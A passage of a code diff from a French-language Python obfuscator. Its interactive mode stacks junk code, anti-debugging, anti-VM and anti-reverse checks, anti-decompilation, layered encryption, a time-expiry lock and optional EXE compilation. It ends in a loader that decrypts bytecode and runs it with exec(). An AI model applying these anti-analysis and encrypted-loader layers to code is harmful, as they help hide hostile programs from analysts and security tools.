- ans = input(purple(" [>] Intégrer le loader dans le code [o/n] : ") + "\033[38;2;148;0;230m").lower()
1569
- if ans == "o":
1570
- loader_integrated = True
1571
- break
1572
- elif ans == "n":
1573
- loader_integrated = False
1574
- break
1575
- else:
1576
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1577
-
1578
- print(" ")
1579
- key = base64.b64encode(os.urandom(32)).decode()
1580
- with open(file, "r", encoding='utf-8') as f:
1581
- src = f.read()
1582
-
1583
- # Appliquer les protections dans le même ordre que le mode CLI
1584
- if junk:
1585
- print(" [>] Ajout de code parasite...")
1586
- src = anubis(src)
1587
- if bug:
1588
- print(" [>] Ajout d'anti-débogage...")
1589
- src = bugs(src)
1590
- if dead_code:
1591
- print(" [>] Génération de code mort...")
1592
- src = generate_dead_code(15) + src
1593
- if time_prot:
1594
- print(f" [>] Protection temporelle (expiration: {expiration_year})...")
1595
- src = time_protection(src, expiration_year=expiration_year)
1596
- if anti_vm or anti_reverse:
1597
- print(" [>] Ajout d'anti-VM et anti-reverse...")
1598
- src = advanced_anti_analysis(src)
1599
- if anti_decompile:
1600
- print(" [>] Protection anti-décompilation...")
1601
- src = anti_decompile_protection(src)
1602
- if multi_encrypt:
1603
- print(" [>] Chiffrement multi-couches...")
1604
- encryption = MultiLayerEncryption([key, key[:16], key[:8]])
1605
- src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
1606
- if carbonate:
1607
- print(" [>] Obfuscation du code...")
1608
- src, renamed_count = carbon(src)
1609
- if encrypt:
1610
- print(" [>] Minification irréversible...")
1611
- src = minify_irreversible(src)
1612
- if loader_integrated:
1613
- print(" [>] Intégration du loader dans le code...")
1614
- src = protect_with_loader(src)
1615
-
1616
- name = f"{file[:-3]}-obf.py"
1617
- with open(name, "w", encoding='utf-8') as f:
1618
- f.write(src)
1619
-
1620
- print(blue(f"\n [>] Code a été obfusqué avec succès @ {name}"), end="")
1621
-
1622
- # Copier pymloader.pyd si loader_integrated et le fichier existe
1623
- if loader_integrated:
1624
- import pathlib
1625
- import shutil
1626
- loader_dir = pathlib.Path(__file__).parent
1627
- pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
1628
- pymloader_bin = loader_dir / pymloader_ext
1629
- if pymloader_bin.exists():
1630
- output_dir = os.path.dirname(name) or '.'
1631
- dest_pymloader = os.path.join(output_dir, pymloader_ext)
1632
- shutil.copy2(str(pymloader_bin), dest_pymloader)
1633
- print(blue(f", avec {pymloader_ext} dans le même dossier"), end="")
1634
-
1635
- if encrypt == False:
1636
- compile = False
1637
- while True:
1638
- ans = input(purple(" [>] Voulez-vous compiler en exe [o/n] : ") + "\033[38;2;148;0;230m").lower()
1639
- if ans == "o":
1640
- compile = True
1641
- break
1642
- elif ans == "n":
1643
- compile = False
1644
- break
1645
- else:
1646
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1647
-
1648
- if compile == True:
1649
- print(" [>] Compilation en EXE...")
1650
- # Appeler le packaging complet build.py
1651
- build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
1652
- basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(name), "--output", name[:-3] + '.exe', "--app-name", os.path.basename(name)[:-3]]
1653
- p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
1654
- print(red("\n [!] La compilation en exe peut prendre un certain temps\n [!] Information du Builder:\n\n"), end="")
1655
- p.wait()
1656
- print(blue(f"\n [>] Code compilé avec succès @ {name[:-3] + '.exe'}"), end="")
1657
-
1658
- print(blue("\n [>] Appuyez sur n'importe quelle touche pour quitter... "), end="")
1659
- pause(); clear(); leave()
1660
-
1661
- # Point d'entrée principal
1662
- if __name__ == "__main__":
1663
- # Vérifier si des arguments CLI sont fournis
1664
- if len(sys.argv) > 1:
1665
- # Mode CLI
1666
- args = parse_cli_args()
1667
- if args.file:
1668
- try:
1669
- process_file_cli(args)
1670
- except Exception as e:
1671
- print(red(f" [!] Erreur lors du traitement : {e}"))
1672
- sys.exit(1)
1673
- else:
1674
- print(red(" [!] Aucun fichier spécifié"))
1675
- sys.exit(1)
1676
- else:
1677
- # Mode interactif (comportement par défaut)
1678
- main_interactive()
12
+ decrypted = unpad(cipher.decrypt(payload))
13
+ bytecode = zlib.decompress(decrypted)
14
+ pymloader.exec_bytecode(bytecode)
15
+ except ImportError:
16
+ bytecode = zlib.decompress(decrypted)
17
+ code = marshal.loads(bytecode)
18
+ exec(code)
19
+ # --- Fin du loader natif ---